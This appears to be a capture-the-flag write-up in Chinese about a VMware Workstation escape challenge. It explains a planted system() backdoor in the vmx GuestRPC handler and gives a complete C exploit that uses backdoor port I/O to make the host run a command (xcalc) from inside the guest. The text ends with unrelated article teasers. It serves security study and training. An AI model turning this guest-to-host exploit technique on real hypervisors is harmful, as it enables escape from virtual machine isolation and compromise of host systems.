2019数字经济公测大赛-VMware逃逸
文章目录
- 环境搭建
- 漏洞点
- exp
环境搭建
- ubuntu :18.04.01
- vmware: VMware-Workstation-Full-15.5.0-14665864.x86_64.bundle
这里环境搭不成功。。patch过后就报错,不知道咋搞发现可能是IDA加载后的patch似乎不行对原来的patch可能有影响,重新下了patch,发现可以了,但没网。。。。但好像自带vmtools了。。
漏洞点
bindiff 对比原来的vmx和patch过的,发现存在如下修改
被替换为nop并且留了后门
sub_16E220函数开始时通过调用sub_5463D0(1LL)获取一个值v2,用于决定switch语句执行哪个case。对应RPC各个通信
打开 GuestRPC 通道
发送命令长度
发送命令数据
接收回复大小
接收回复数据
发出接收结束信号
关闭频道
bindiff不同位置其对应的反编译代码,属于case 4
发现其中有关于channel的字符串GuestMsg: Channel %u, Not enough memory to receive a message,加上函数开头的switch case判断number的范围为0-6,很容易联想到这就是GuestRPC Handler(是处理 RPC 通信的代码),一个RPC指令处理函数,下面代码只包含了漏洞所在的部分,可以看到这个路径是当subcommand=0x4,也就是Receive reply data的处理部分
case 4u:v49 = sub_16DE80(6LL, 7LL);v8 = (_DWORD *)v49;if ( !v49 )goto LABEL_62;LODWORD(v9) = *(_DWORD *)v49;if ( *(_DWORD *)v49 != 3 )goto LABEL_20;if ( *(_BYTE *)(v49 + 8) == 1 )goto LABEL_48;if ( !*(_QWORD *)(v49 + 56) )goto LABEL_90;if ( (sub_5463D0(3LL) & 1) == 0 ){v11 = (__int64)v8;goto LABEL_81;}v36 = (unsigned __int64)&stru_20000;sub_546480(2LL, &stru_20000);v50 = (unsigned int)v8[12];v51 = (unsigned __int16 *)(*((_QWORD *)v8 + 7) + (unsigned int)v8[11] - v50);if ( (_DWORD)v50 == 2 ){v36 = *v51;v37 = (_BYTE *)(&dword_0 + 3);sub_546480(3LL, v36);v52 = v8[12] - 2;v8[12] = v52;}else if ( (_DWORD)v50 == 3 ){v37 = (const char *)*((_QWORD *)v8 + 7);system(v37);v52 = v8[12] - 3;v8[12] = v52;}else{if ( (_DWORD)v50 == 1 ){v36 = *(unsigned __int8 *)v51;v37 = (_BYTE *)(&dword_0 + 3);sub_546480(3LL, v36);v52 = v8[12] - 1;}else{v36 = *(unsigned int *)v51;v37 = (_BYTE *)(&dword_0 + 3);sub_546480(3LL, v36);v52 = v8[12] - 4;}v8[12] = v52;}if ( !v52 )*v8 = 4;
LABEL_31:v44 = sub_533C10(v37, v36, v9);v19 = 0x10000LL;*((_QWORD *)v8 + 2) = v44;goto LABEL_12;
其中 need 表示还未发送数据的长度,在 need >= 4 的时候每次发送 4 字节,最后特判了 need < 4 的情况。而后门函数位于 need == 3 的判断中。
另外通过调试发现 state == 3 出现在 host 向 guest 回复数据的阶段,因此我们需要让 host 向 guest 回复数据长度模 4 余 3 同时 buf 恰好是要执行的命令。
通过调试发现回复数据长度为 info-set guestinfo.x 后面跟的字符串长度加 2,并且执行的命令就是这个字符串(前面拼接了两个字节包含一个字符1 recv rpc data中有提到rpctype前两个字节表示成功还是失败 在 Recieve RPC reply length 中提到过,应答数据的前两个字节始终表示 RPC command 的状态)。最最终need的总个数就是 info-set guestinfo.x 后面跟的字符串长度加2,即1 字符串
,buf就是这个的起始地址,所以system执行指令会执行1 字符串
,为了执行字符串中的指令,所以字符串刚开始有个;来结束,最后我们保证字符串长度加2模4余3就好了(也就是字符串长度模4余1)
这里;
已经包含一个字符了,所以保证剩下的是4的倍数就行了,这里相当任意命令执行了,因为可以通过添加空格来填补,最后添个;或者&,不然虚拟机出问题
然后是执行命令的参数前面固定为1,我在后面加了个;来执行下一条命令,因此最终去执行的命令就是/usr/bin/xcalc ;
exp
#include <ctype.h>
#include <stdint-gcc.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>void byte_dump(char *desc, void *addr, int len) {uint8_t *buf8 = (unsigned char *) addr;if (desc != NULL) {printf("[*] %s:\n", desc);}for (int i = 0; i < len; i += 16) {printf(" %04x", i);for (int j = 0; j < 16; j++) {i + j < len ? printf(" %02x", buf8[i + j]) : printf(" ");}printf(" ");for (int j = 0; j < 16 && j + i < len; j++) {printf("%c", isprint(buf8[i + j]) ? buf8[i + j] : '.');}puts("");}
}
void channel_open(int *cookie1, int *cookie2, int *channel_num, int *res) {asm("movl %%eax,%%ebx\n\t""movq %%rdi,%%r10\n\t""movq %%rsi,%%r11\n\t""movq %%rdx,%%r12\n\t""movq %%rcx,%%r13\n\t""movl $0x564d5868,%%eax\n\t""movl $0xc9435052,%%ebx\n\t""movl $0x1e,%%ecx\n\t""movl $0x5658,%%edx\n\t""out %%eax,%%dx\n\t""movl %%edi,(%%r10)\n\t""movl %%esi,(%%r11)\n\t""movl %%edx,(%%r12)\n\t""movl %%ecx,(%%r13)\n\t"::: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r8", "%r10", "%r11", "%r12", "%r13");
}void channel_set_len(int cookie1, int cookie2, int channel_num, int len, int *res) {asm("movl %%eax,%%ebx\n\t""movq %%r8,%%r10\n\t""movl %%ecx,%%ebx\n\t""movl $0x564d5868,%%eax\n\t""movl $0x0001001e,%%ecx\n\t""movw $0x5658,%%dx\n\t""out %%eax,%%dx\n\t""movl %%ecx,(%%r10)\n\t"::: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}void channel_send_data(int cookie1, int cookie2, int channel_num, int len, char *data, int *res) {asm("pushq %%rbp\n\t""movq %%r9,%%r10\n\t""movq %%r8,%%rbp\n\t""movq %%rcx,%%r11\n\t""movq $0,%%r12\n\t""1:\n\t""movq %%r8,%%rbp\n\t""add %%r12,%%rbp\n\t""movl (%%rbp),%%ebx\n\t""movl $0x564d5868,%%eax\n\t""movl $0x0002001e,%%ecx\n\t""movw $0x5658,%%dx\n\t""out %%eax,%%dx\n\t""addq $4,%%r12\n\t""cmpq %%r12,%%r11\n\t""ja 1b\n\t""movl %%ecx,(%%r10)\n\t""popq %%rbp\n\t"::: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11", "%r12");
}void channel_recv_reply_len(int cookie1, int cookie2, int channel_num, int *len, int *res) {asm("movl %%eax,%%ebx\n\t""movq %%r8,%%r10\n\t""movq %%rcx,%%r11\n\t""movl $0x564d5868,%%eax\n\t""movl $0x0003001e,%%ecx\n\t""movw $0x5658,%%dx\n\t""out %%eax,%%dx\n\t""movl %%ecx,(%%r10)\n\t""movl %%ebx,(%%r11)\n\t"::: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11");
}void channel_recv_data(int cookie1, int cookie2, int channel_num, int offset, char *data, int *res) {asm("pushq %%rbp\n\t""movq %%r9,%%r10\n\t""movq %%r8,%%rbp\n\t""movq %%rcx,%%r11\n\t""movq $1,%%rbx\n\t""movl $0x564d5868,%%eax\n\t""movl $0x0004001e,%%ecx\n\t""movw $0x5658,%%dx\n\t""in %%dx,%%eax\n\t""add %%r11,%%rbp\n\t""movl %%ebx,(%%rbp)\n\t""movl %%ecx,(%%r10)\n\t""popq %%rbp\n\t"::: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10", "%r11", "%r12");
}void channel_recv_finish(int cookie1, int cookie2, int channel_num, int *res) {asm("movl %%eax,%%ebx\n\t""movq %%rcx,%%r10\n\t""movq $0x1,%%rbx\n\t""movl $0x564d5868,%%eax\n\t""movl $0x0005001e,%%ecx\n\t""movw $0x5658,%%dx\n\t""out %%eax,%%dx\n\t""movl %%ecx,(%%r10)\n\t"::: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}void channel_recv_finish2(int cookie1, int cookie2, int channel_num, int *res) {asm("movl %%eax,%%ebx\n\t""movq %%rcx,%%r10\n\t""movq $0x21,%%rbx\n\t""movl $0x564d5868,%%eax\n\t""movl $0x0005001e,%%ecx\n\t""movw $0x5658,%%dx\n\t""out %%eax,%%dx\n\t""movl %%ecx,(%%r10)\n\t"::: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}void channel_close(int cookie1, int cookie2, int channel_num, int *res) {asm("movl %%eax,%%ebx\n\t""movq %%rcx,%%r10\n\t""movl $0x564d5868,%%eax\n\t""movl $0x0006001e,%%ecx\n\t""movw $0x5658,%%dx\n\t""out %%eax,%%dx\n\t""movl %%ecx,(%%r10)\n\t"::: "%rax", "%rbx", "%rcx", "%rdx", "%rsi", "%rdi", "%r10");
}typedef struct {int cookie1;int cookie2;int num;
} channel;void run_cmd(char *cmd) {channel cannel;int res, len;channel_open(&cannel.cookie1, &cannel.cookie2, &cannel.num, &res);if (!res) {puts("[-] fail to open channel.");exit(EXIT_FAILURE);}channel_set_len(cannel.cookie1, cannel.cookie2, cannel.num, strlen(cmd), &res);if (!res) {puts("[-] fail to set len");exit(EXIT_FAILURE);}channel_send_data(cannel.cookie1, cannel.cookie2, cannel.num, strlen(cmd), cmd, &res);channel_recv_reply_len(cannel.cookie1, cannel.cookie2, cannel.num, &len, &res);if (!res) {puts("[-] fail to recv data len");exit(EXIT_FAILURE);}printf("[*] recv len:%d\n", len);char *data = malloc(len);memset(data, 0, len );for (int i = 0; i < len ; i += 4) {channel_recv_data(cannel.cookie1, cannel.cookie2, cannel.num, i, data, &res);}byte_dump("recv data", data, len );channel_recv_finish(cannel.cookie1, cannel.cookie2, cannel.num, &res);if (!res) {puts("[-] fail to recv finish");exit(EXIT_FAILURE);}channel_close(cannel.cookie1, cannel.cookie2, cannel.num, &res);if (!res) {puts("[-] fail to close channel");exit(EXIT_FAILURE);}
}int main() {run_cmd("info-set guestinfo.x ;/usr/bin/xcalc ;");run_cmd("info-get guestinfo.x");return 0;
}
asm中的冒号:
- 第一个冒号后的空字符串表示没有输出操作数。
- 第二个冒号后的空字符串表示没有输入操作数。
- 第三个冒号后的列表是被修改的寄存器列表,用于告知编译器哪些寄存器被嵌入的汇编代码修改了。
相关文章:

2019数字经济公测大赛-VMware逃逸
文章目录 环境搭建漏洞点exp 环境搭建 ubuntu :18.04.01vmware: VMware-Workstation-Full-15.5.0-14665864.x86_64.bundle 这里环境搭不成功。。patch过后就报错,不知道咋搞 发现可能是IDA加载后的patch似乎不行对原来的patch可能有影响,重新下了patch&…...

如何改桥接模式
桥接模式主要是解决 路由功能的 因为NAT多层 主要是网络连接数太多时 然后路由器要好 不然光猫 比差路由要强的 光猫 请注意,对光猫的任何设置进行修改前,请一定要备份光猫的配置文件,并在每次修改前都截图保存原始设置信息!不要…...

江科大/江协科技 STM32学习笔记P13
文章目录 TIM定时中断1、TIM简介计数器PSC预分频器ARR自动重装寄存器 2、定时器类型基本定时器主模式触发DAC 通用定时器高级定时器 3、定时器原理定时中断基本结构预分频器时序计数器时序RCC时钟树 TIM定时中断 1、TIM简介 定时器的基准时钟一般都是主频72MHz,如果…...
loadrunner录制解决提示安全问题
点击页面任意位置,输入: thisisunsafe...

为什么要读写分离?如何实现业务系统读写分离?
信息化水平提升,很多企业已经接受并高频使用多样的业务系统进行日常作业,而在不断的使用过程中,部分行业和业务,如:直播电商、基础制造、公关传媒等,由于自身特点的原因,常常积累了海量的数据。…...

C#基础——类、构造函数和静态成员
类 类是一个数据类型的蓝图。构成类的方法和变量称为类的成员,对象是类的实例。类的定义规定了类的对象由什么组成及在这个对象上可执行什么操作。 class 类名 { (访问属性) 成员变量; (访问属性) 成员函数; } 访问属性:public(公有的&…...

hadoop学习(二)
一.MapReduce 1.1定义:是一个分布式运算程序的编程框架 1.2核心功能:将用户编写的业务逻辑代码和自带默认组件整合成一个完整的分布式运算程序,并发运行在一个Hadoop集群上。 1.3优点 1)易于编程 它简单的实现一些接口&#…...
WXZ196微机消谐装置的运行方式了解一下
WXZ196微机消谐装置是一种用于抑制铁磁谐振的设备,可以在电力系统中快速消除各种频率的铁磁谐振,同时可以区分过电压、铁磁谐振以及单相接地,并给出相应的报警信号。该装置采用高速增强型单片机作为核心元件,对PT开口三角电压进行…...
单链表的建立
一.前言 单链表的建立一共有两种方法,一种是头插法,将元素插入在链表的头部,也叫前插法。另外一种则就是尾插法,将元素插入在链表尾部,也叫后插法。 二. 头插法 首先从一个空表开始,重复读入数据࿱…...

Shell脚本编程学习
IPv4和IPv6有什么区别? - 知乎 (zhihu.com) Shell 是一个命令解释权,它为用户提供了一个向 Linux 内核发送请求以便运行程序界面系统级程序,用户可以用 Shell 来启动、挂起、停止甚至是编写一些程序。 可以查看当前系统的进程 ps -ef...

从宏基因组量化细菌生长动态
Introduciton 了解细菌在各种环境中的生长动态对于人类健康和环境监测等广泛领域至关重要。传统研究细菌生长的方法往往依赖于培养技术,这不仅耗时,而且对易培养的物种有偏向。然而,随着宏基因组测序技术的兴起,我们现在可以直接…...

Linux---git工具
目录 初步了解 基本原理 基本用法 安装git 拉取远端仓库 提交三板斧 1、添加到缓存区 2、提交到本地仓库 3、提交到远端 其他指令补充 多人协作管理 windows用户提交文件 Linux用户提交文件 初步了解 在Linux中,git是一个指令,可以帮助我们做…...

【JavaScript】函数的动态传参
Javacript(简称“JS”)是一种具有函数优先的轻量级,解释型或即时编译型的编程语言。虽然它是作为开发Web页面的脚本语言而出名,但是它也被用到了很多非浏览器环境中,JavaScript基于原型编程、多范式的动态脚本语言&…...

从0到1,AI我来了- (4)AI图片识别的理论知识-II
上篇文章,我们理解了我们程序的神经网络设计,这篇我们继续,把训练迭代过程分析一下,完成这两篇文章,下面问题,应该能回答了。 一张图片,如何被计算机读懂?pytorch 封装的网络&#…...

2024 Java 高分面试宝典 一站式搞定技术面
前言 每年9月和10月,被业界称为“金九银十”,这是人才市场一年中最活跃的时期。此时,企业为了来年的业务扩展,纷纷加大招聘力度,空缺岗位众多,招聘需求集中。同时,初秋的招聘活动也避开酷暑&am…...
MongoDB - 聚合操作符 $eq、$gte、$in、$sum、$avg
文章目录 1. $eq2. $gte3. $in4. $sum5. $avg 1. $eq $eq比较两个值并返回:true (当值相等时)|false(当值不相等时) { $eq: [ <expression1>, <expression2> ] }构造测试数据: db.inventory…...

C语言 | Leetcode C语言题解之第279题完全平方数
题目: 题解: // 判断是否为完全平方数 bool isPerfectSquare(int x) {int y sqrt(x);return y * y x; }// 判断是否能表示为 4^k*(8m7) bool checkAnswer4(int x) {while (x % 4 0) {x / 4;}return x % 8 7; }int numSquares(int n) {if (isPerfect…...
在appium中,如何通过匹配图片来进行断言?
在Appium中进行图片匹配断言,可以使用OpenCV来实现。以下是使用Appium和OpenCV进行图片匹配断言的示例代码。 首先,需要确保安装了必要的库: pip install opencv-python-headless pip install opencv-python pip install numpy然后…...

昇思25天学习打卡营第21天|CV-Shufflenet图像分类
打卡 目录 打卡 ShuffleNet 网络介绍 ShuffleNet 模型架构 Pointwise Group Convolution Channel Shuffle ShuffleNet模块 ShuffleNet 模块代码 构建ShuffleNet网络 模块代码 模型训练和评估 模型训练 模型评估 模型预测 ShuffleNet 网络介绍 ShuffleNetV1是旷视科…...

python 图片转文字、语音转文字、文字转语音保存音频并朗读
一、python图片转文字 1、引言 pytesseract是基于Python的OCR工具, 底层使用的是Google的Tesseract-OCR 引擎,支持识别图片中的文字,支持jpeg, png, gif, bmp, tiff等图片格式 2、环境配置 python3.6PIL库安装Google Tesseract OCR 3、安…...

边缘计算医疗风险自查APP开发方案
核心目标:在便携设备(智能手表/家用检测仪)部署轻量化疾病预测模型,实现低延迟、隐私安全的实时健康风险评估。 一、技术架构设计 #mermaid-svg-iuNaeeLK2YoFKfao {font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}#mermaid-svg…...
IGP(Interior Gateway Protocol,内部网关协议)
IGP(Interior Gateway Protocol,内部网关协议) 是一种用于在一个自治系统(AS)内部传递路由信息的路由协议,主要用于在一个组织或机构的内部网络中决定数据包的最佳路径。与用于自治系统之间通信的 EGP&…...

STM32标准库-DMA直接存储器存取
文章目录 一、DMA1.1简介1.2存储器映像1.3DMA框图1.4DMA基本结构1.5DMA请求1.6数据宽度与对齐1.7数据转运DMA1.8ADC扫描模式DMA 二、数据转运DMA2.1接线图2.2代码2.3相关API 一、DMA 1.1简介 DMA(Direct Memory Access)直接存储器存取 DMA可以提供外设…...

ESP32 I2S音频总线学习笔记(四): INMP441采集音频并实时播放
简介 前面两期文章我们介绍了I2S的读取和写入,一个是通过INMP441麦克风模块采集音频,一个是通过PCM5102A模块播放音频,那如果我们将两者结合起来,将麦克风采集到的音频通过PCM5102A播放,是不是就可以做一个扩音器了呢…...

微信小程序云开发平台MySQL的连接方式
注:微信小程序云开发平台指的是腾讯云开发 先给结论:微信小程序云开发平台的MySQL,无法通过获取数据库连接信息的方式进行连接,连接只能通过云开发的SDK连接,具体要参考官方文档: 为什么? 因为…...

第 86 场周赛:矩阵中的幻方、钥匙和房间、将数组拆分成斐波那契序列、猜猜这个单词
Q1、[中等] 矩阵中的幻方 1、题目描述 3 x 3 的幻方是一个填充有 从 1 到 9 的不同数字的 3 x 3 矩阵,其中每行,每列以及两条对角线上的各数之和都相等。 给定一个由整数组成的row x col 的 grid,其中有多少个 3 3 的 “幻方” 子矩阵&am…...

网络编程(UDP编程)
思维导图 UDP基础编程(单播) 1.流程图 服务器:短信的接收方 创建套接字 (socket)-----------------------------------------》有手机指定网络信息-----------------------------------------------》有号码绑定套接字 (bind)--------------…...

Mac下Android Studio扫描根目录卡死问题记录
环境信息 操作系统: macOS 15.5 (Apple M2芯片)Android Studio版本: Meerkat Feature Drop | 2024.3.2 Patch 1 (Build #AI-243.26053.27.2432.13536105, 2025年5月22日构建) 问题现象 在项目开发过程中,提示一个依赖外部头文件的cpp源文件需要同步,点…...
在web-view 加载的本地及远程HTML中调用uniapp的API及网页和vue页面是如何通讯的?
uni-app 中 Web-view 与 Vue 页面的通讯机制详解 一、Web-view 简介 Web-view 是 uni-app 提供的一个重要组件,用于在原生应用中加载 HTML 页面: 支持加载本地 HTML 文件支持加载远程 HTML 页面实现 Web 与原生的双向通讯可用于嵌入第三方网页或 H5 应…...
rnn判断string中第一次出现a的下标
# coding:utf8 import torch import torch.nn as nn import numpy as np import random import json""" 基于pytorch的网络编写 实现一个RNN网络完成多分类任务 判断字符 a 第一次出现在字符串中的位置 """class TorchModel(nn.Module):def __in…...